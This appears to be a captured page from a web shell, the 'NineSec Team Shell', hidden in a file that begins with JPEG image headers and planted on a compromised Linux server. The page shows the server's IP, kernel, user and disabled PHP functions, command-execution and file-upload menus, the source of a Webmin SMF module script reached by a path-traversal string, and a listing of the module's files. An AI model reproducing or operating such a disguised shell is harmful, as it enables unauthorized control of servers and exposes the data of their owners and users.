�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.218
Web Server : Apache
System : Linux bob 6.17.4-2-pve #1 SMP PREEMPT_DYNAMIC PMX 6.17.4-2 (2025-12-19T07:49Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /media/../usr/share/javascript/../doc/nodejs/../php-cli/../../java/../java/../webmin/smf/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //media/../usr/share/javascript/../doc/nodejs/../php-cli/../../java/../java/../webmin/smf/index.cgi
#!/usr/bin/perl
# index.cgi
# Display a list of services, built from svcs command

$unsafe_index_cgi = 1;
require './smf-lib.pl';
&ReadParse();
&ui_print_header(undef, $text{'index_title'}, "", "help", 1, 1, 0,
	&help_search_link("smf", "man", "doc", "howto"));

# deal with application of state changes first. this way
# fmri list will show changes...
if (defined($in{'change_state'})) {
	$cmd = "$in{'change_state'}";
	# get update fmri list
	@update_fmris = split(/\0/, $in{'applyto'});
	&svc_state_cmd("$cmd", \@update_fmris);
	}

# service type
if (defined($in{'type'})) {
	$svc_type = $in{'type'};
} else {
	$svc_type = "All";
	}
if (defined($in{'include_disabled'})) {
	$include_disabled = $in{'include_disabled'};
} else {
	$include_disabled = $default_include_disabled;
	}
if ($include_disabled == 1) {
	$checked_include_disabled = "checked";
} else {
	$checked_include_disabled = "";
	}
# opts for svcs listing
$opts = "$default_svc_options";

if (defined($in{'opts'})) {
	@extraopts = split(/\0/, $in{'opts'});
	foreach $extraopt (@extraopts) {
		$opts = "$opts,$extraopt";
		}
	}
$sortopt = "$default_sortopt";
if (defined($in{'sortopt'})) {
	$sortopt = $in{'sortopt'};
	}

print "<h2>";
&text_and_whats_this("index_detail");
print "</h2>\n";
# Checkboxes for view update
print "<form method=\"POST\" action=\"index.cgi\">\n";
print "<p><table>\n";
print "<tr><td><b>$text{'index_svc_type'}</b></td>\n";
print "<td>";
@typelist = sort keys %svc_types;
&print_selection("type", "$svc_type", \@typelist);
print "</td></tr>\n";
print "<tr><td><b>$text{'index_extraopts'}</b></td>\n";
print "</b></td>\n";
print "<td>";
@additional_option_names = sort keys %svc_options;
foreach $o (@additional_option_names) {
	if ($default_svc_options =~ /$o/) {
		next;
		}
	$checked = "unchecked";
	if ($opts=~ /$o/) {
		$checked = "checked";
		$opts_str="$opts_str\&opts=$o";
		}
	print "$svc_options{$o}";
	print "<input type=checkbox name=\"opts\" value=\"$o\" $checked>&nbsp;";
	}
print "</td></tr>\n";
print "<tr><td><b>$text{'index_include_disabled'}</b></td>\n";
print "<td>";
print
"<input type=checkbox name=\"include_disabled\" value=1 $checked_include_disabled>";
print "</td></tr>\n";
print "<tr><td>&nbsp;</td><td>\n";
print "<input type=submit name=\"submit\" value=\"Update View\"/></td></tr>";
print "</table></p></form>\n";

print "<form method=\"POST\" action=\"index.cgi?include_disabled=$include_disabled&type=$svc_type&sortopt=$sortopt$opts_str\">\n";

print "<table border width=100%>\n";
print "<tr><td><table width=100%>\n";
# multiple select buttons(enable, disable, maintenance, degraded, clear, delete)
print "<tr $cb><td>\n";
print "<input type=\"button\" onClick=location.href=\"smfwizard_service.cgi?clearout=1\" value=\"$text{'index_create_new_service'}\">";
print "&nbsp;";
print "<input type=\"button\" onClick=location.href=\"search_instance.cgi\" value=\"$text{'index_search_instance'}\">\n";
print "</td></tr><tr $cb><td><b>$text{'index_apply'}</b>:&nbsp;";
&print_state_buttons();
# add delete/create new buttons in addition to statechange buttons
print "<input type=submit name=\"change_state\" onClick=\"return (confirm(\'$text{'index_deleteconfirm'}\'))\" value=\"$text{'index_delete'}\">&nbsp;\n";
print "</td></tr></table></td></tr>\n";
print "<tr><td><table width=100%>\n";
@svcs_info = &svcs_listing("$svc_types{$svc_type}", "$sortopt");
@optlist = split(/,/, $opts);
print "<tr $cb>\n";
print "<td>$text{'index_select'}</td>\n";
foreach $o (@optlist) {
	# clicking should reverse sort option if we`re already sorting by
	# this option...
	if ($sortopt =~/-S$o/) {
		$new_sortopt = "-s$o";
	} elsif ($sortopt =~/-s$o/) {
		$new_sortopt = "-S$o";
	} else {
		$new_sortopt = "-s$o";
		}
	print "<td>";
	print "$text{'index_sort_by'}:&nbsp;";
	print "<a href=\"index.cgi?include_disabled=$include_disabled&type=$svc_type&sortopt=$new_sortopt$opts_str\">";
	print "$svc_options{$o}</a></td>\n";
	}
print "</tr>\n";

for $svc_info (@svcs_info) {
	# if we are displaying enabled only, skip disabled
	if (($include_disabled != 1) && ($svc_info->{'STATE'} eq "disabled")) {
		next;
		}
	print "<tr $cb>";
	$fmri = $svc_info->{'FMRI'};
	if ("$fmri" =~ /^lrc:\//) {
		print "<td>-</td>\n";
	} else {
		print "<td><input type=checkbox name=\"applyto\" value=\"$svc_info->{'FMRI'}\"></td>\n";
		}
        foreach $opt (@optlist) {
		$field = $svc_info->{$opt};
		if ($opt eq "FMRI") {
			$field =~ /$svc_types{$svc_type}(.*)/;
			$svc = $1;
			# make sure legacy svcs are unclickable!
			if ($field =~ /svc:\//) {
				print "<td>";
				print
		"<a href=\"instance_viewer.cgi?fmri='$fmri'\">$svc</a>";
				print "</td>\n";
			} else {
				print "<td>$svc</td>\n";
				}
		} elsif ($opt eq "STATE") {
			print
			    "<td>";
			print
    "<font color=$state_colors{$svc_info->{$opt}}>$svc_info->{$opt}</font>\n";
			print "</td>\n";
		} else {
			print "<td>$field</td>"
		}
	}
	print "</tr>\n";
}
print "</table></td></tr></table></form>\n";

&print_cmds_run();

&ui_print_footer("/", $text{'index'});


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
December 13 2023 9:43:47
root
0755
help
--
December 13 2023 9:43:47
root
0755
images
--
December 13 2023 9:43:47
root
0755
lang
--
December 13 2023 9:43:47
root
0755
config-solaris
0.02 KB
November 08 2023 4:49:10
root
0644
config.info
0.071 KB
November 08 2023 4:49:10
root
0644
config.info.ca
0.078 KB
November 08 2023 4:49:10
root
0644
config.info.de
0.096 KB
November 08 2023 4:49:10
root
0644
config.info.nl
0.086 KB
November 08 2023 4:49:10
root
0644
dep_viewer.cgi
3.219 KB
November 08 2023 4:49:49
root
0755
dependency_template.xml
0.137 KB
November 08 2023 4:49:10
root
0644
dependent_template.xml
0.135 KB
November 08 2023 4:49:10
root
0644
exec_template.xml
0.14 KB
November 08 2023 4:49:10
root
0644
index.cgi
4.911 KB
November 08 2023 4:49:49
root
0755
instance_template.xml
0.059 KB
November 08 2023 4:49:10
root
0644
instance_template_end.xml
0.012 KB
November 08 2023 4:49:10
root
0644
instance_viewer.cgi
1.134 KB
November 08 2023 4:49:49
root
0755
log_viewer.cgi
1.329 KB
November 08 2023 4:49:49
root
0755
manpage_template.xml
0.086 KB
November 08 2023 4:49:10
root
0644
module.info
0.196 KB
November 08 2023 4:49:10
root
0644
module.info.af
0 KB
November 08 2023 4:49:10
root
0644
module.info.af.auto
0.152 KB
November 08 2023 4:49:10
root
0644
module.info.ar
0 KB
November 08 2023 4:49:10
root
0644
module.info.ar.auto
0.158 KB
November 08 2023 4:49:10
root
0644
module.info.be
0 KB
November 08 2023 4:49:10
root
0644
module.info.be.auto
0.177 KB
November 08 2023 4:49:10
root
0644
module.info.bg
0 KB
November 08 2023 4:49:10
root
0644
module.info.bg.auto
0.229 KB
November 08 2023 4:49:10
root
0644
module.info.ca
0.143 KB
November 08 2023 4:49:10
root
0644
module.info.ca.auto
0.012 KB
November 08 2023 4:49:10
root
0644
module.info.cs
0 KB
November 08 2023 4:49:10
root
0644
module.info.cs.auto
0.141 KB
November 08 2023 4:49:10
root
0644
module.info.da
0 KB
November 08 2023 4:49:10
root
0644
module.info.da.auto
0.141 KB
November 08 2023 4:49:10
root
0644
module.info.de
0 KB
November 08 2023 4:49:10
root
0644
module.info.de.auto
0.16 KB
November 08 2023 4:49:10
root
0644
module.info.el
0 KB
November 08 2023 4:49:10
root
0644
module.info.el.auto
0.26 KB
November 08 2023 4:49:10
root
0644
module.info.es
0 KB
November 08 2023 4:49:10
root
0644
module.info.es.auto
0.161 KB
November 08 2023 4:49:10
root
0644
module.info.eu
0 KB
November 08 2023 4:49:10
root
0644
module.info.eu.auto
0.138 KB
November 08 2023 4:49:10
root
0644
module.info.fa
0 KB
November 08 2023 4:49:10
root
0644
module.info.fa.auto
0.149 KB
November 08 2023 4:49:10
root
0644
module.info.fi
0 KB
November 08 2023 4:49:10
root
0644
module.info.fi.auto
0.14 KB
November 08 2023 4:49:10
root
0644
module.info.fr
0 KB
November 08 2023 4:49:10
root
0644
module.info.fr.auto
0.165 KB
November 08 2023 4:49:10
root
0644
module.info.he
0 KB
November 08 2023 4:49:10
root
0644
module.info.he.auto
0.155 KB
November 08 2023 4:49:10
root
0644
module.info.hr
0 KB
November 08 2023 4:49:10
root
0644
module.info.hr.auto
0.119 KB
November 08 2023 4:49:10
root
0644
module.info.hu
0 KB
November 08 2023 4:49:10
root
0644
module.info.hu.auto
0.176 KB
November 08 2023 4:49:10
root
0644
module.info.it
0 KB
November 08 2023 4:49:10
root
0644
module.info.it.auto
0.163 KB
November 08 2023 4:49:10
root
0644
module.info.ja
0 KB
November 08 2023 4:49:10
root
0644
module.info.ja.auto
0.15 KB
November 08 2023 4:49:10
root
0644
module.info.ko
0 KB
November 08 2023 4:49:10
root
0644
module.info.ko.auto
0.138 KB
November 08 2023 4:49:10
root
0644
module.info.lt
0 KB
November 08 2023 4:49:10
root
0644
module.info.lt.auto
0.147 KB
November 08 2023 4:49:10
root
0644
module.info.lv
0 KB
November 08 2023 4:49:10
root
0644
module.info.lv.auto
0.162 KB
November 08 2023 4:49:10
root
0644
module.info.ms
0 KB
November 08 2023 4:49:10
root
0644
module.info.ms.auto
0.159 KB
November 08 2023 4:49:10
root
0644
module.info.mt
0 KB
November 08 2023 4:49:10
root
0644
module.info.mt.auto
0.179 KB
November 08 2023 4:49:10
root
0644
module.info.nl
0.05 KB
November 08 2023 4:49:10
root
0644
module.info.nl.auto
0.097 KB
November 08 2023 4:49:10
root
0644
module.info.no
0 KB
November 08 2023 4:49:10
root
0644
module.info.no.auto
0.145 KB
November 08 2023 4:49:10
root
0644
module.info.pl
0 KB
November 08 2023 4:49:10
root
0644
module.info.pl.auto
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.pt
0 KB
November 08 2023 4:49:10
root
0644
module.info.pt.auto
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.pt_BR
0 KB
November 08 2023 4:49:10
root
0644
module.info.pt_BR.auto
0.154 KB
November 08 2023 4:49:10
root
0644
module.info.ro
0 KB
November 08 2023 4:49:10
root
0644
module.info.ro.auto
0.175 KB
November 08 2023 4:49:10
root
0644
module.info.ru
0 KB
November 08 2023 4:49:10
root
0644
module.info.ru.auto
0.188 KB
November 08 2023 4:49:10
root
0644
module.info.sk
0 KB
November 08 2023 4:49:10
root
0644
module.info.sk.auto
0.144 KB
November 08 2023 4:49:10
root
0644
module.info.sl
0 KB
November 08 2023 4:49:10
root
0644
module.info.sl.auto
0.116 KB
November 08 2023 4:49:10
root
0644
module.info.sv
0 KB
November 08 2023 4:49:10
root
0644
module.info.sv.auto
0.146 KB
November 08 2023 4:49:10
root
0644
module.info.th
0 KB
November 08 2023 4:49:10
root
0644
module.info.th.auto
0.283 KB
November 08 2023 4:49:10
root
0644
module.info.tr
0 KB
November 08 2023 4:49:10
root
0644
module.info.tr.auto
0.149 KB
November 08 2023 4:49:10
root
0644
module.info.uk
0 KB
November 08 2023 4:49:10
root
0644
module.info.uk.auto
0.185 KB
November 08 2023 4:49:10
root
0644
module.info.ur
0 KB
November 08 2023 4:49:10
root
0644
module.info.ur.auto
0.22 KB
November 08 2023 4:49:10
root
0644
module.info.vi
0 KB
November 08 2023 4:49:10
root
0644
module.info.vi.auto
0.176 KB
November 08 2023 4:49:10
root
0644
module.info.zh
0 KB
November 08 2023 4:49:10
root
0644
module.info.zh.auto
0.113 KB
November 08 2023 4:49:10
root
0644
module.info.zh_TW
0 KB
November 08 2023 4:49:10
root
0644
module.info.zh_TW.auto
0.122 KB
November 08 2023 4:49:10
root
0644
path_chooser.cgi
3.273 KB
November 08 2023 4:49:49
root
0755
property_editor.cgi
4.418 KB
November 08 2023 4:49:49
root
0755
property_group_editor.cgi
3.74 KB
November 08 2023 4:49:49
root
0755
property_group_template.xml
0.072 KB
November 08 2023 4:49:10
root
0644
property_group_template_end.xml
0.018 KB
November 08 2023 4:49:10
root
0644
property_template.xml
0.065 KB
November 08 2023 4:49:10
root
0644
restarter_template.xml
0.04 KB
November 08 2023 4:49:10
root
0644
search_instance.cgi
1.452 KB
November 08 2023 4:49:49
root
0755
service_template.xml
0.22 KB
November 08 2023 4:49:10
root
0644
service_template_end.xml
0.028 KB
November 08 2023 4:49:10
root
0644
smf-lib.pl
27.217 KB
November 08 2023 4:49:49
root
0755
smfwizard_dependency.cgi
1.998 KB
November 08 2023 4:49:49
root
0755
smfwizard_dependent.cgi
1.97 KB
November 08 2023 4:49:49
root
0755
smfwizard_exec.cgi
1.549 KB
November 08 2023 4:49:49
root
0755
smfwizard_instance.cgi
0.746 KB
November 08 2023 4:49:49
root
0755
smfwizard_manpage.cgi
0.876 KB
November 08 2023 4:49:49
root
0755
smfwizard_process_submit.cgi
0.351 KB
November 08 2023 4:49:49
root
0755
smfwizard_property.cgi
1.458 KB
November 08 2023 4:49:49
root
0755
smfwizard_property_group.cgi
0.996 KB
November 08 2023 4:49:49
root
0755
smfwizard_restarter.cgi
0.587 KB
November 08 2023 4:49:49
root
0755
smfwizard_service.cgi
0.832 KB
November 08 2023 4:49:49
root
0755
smfwizard_template.cgi
0.771 KB
November 08 2023 4:49:49
root
0755
svc_chooser.cgi
4.412 KB
November 08 2023 4:49:49
root
0755
svc_chooser_test.cgi
0.741 KB
November 08 2023 4:49:49
root
0755
template_template.xml
0.183 KB
November 08 2023 4:49:10
root
0644
template_template_end.xml
0.027 KB
November 08 2023 4:49:10
root
0644
wizard.pl
20.118 KB
November 08 2023 4:49:49
root
0755
wizardtest.cgi
0.749 KB
November 08 2023 4:49:49
root
0755

NineSec Team - 2022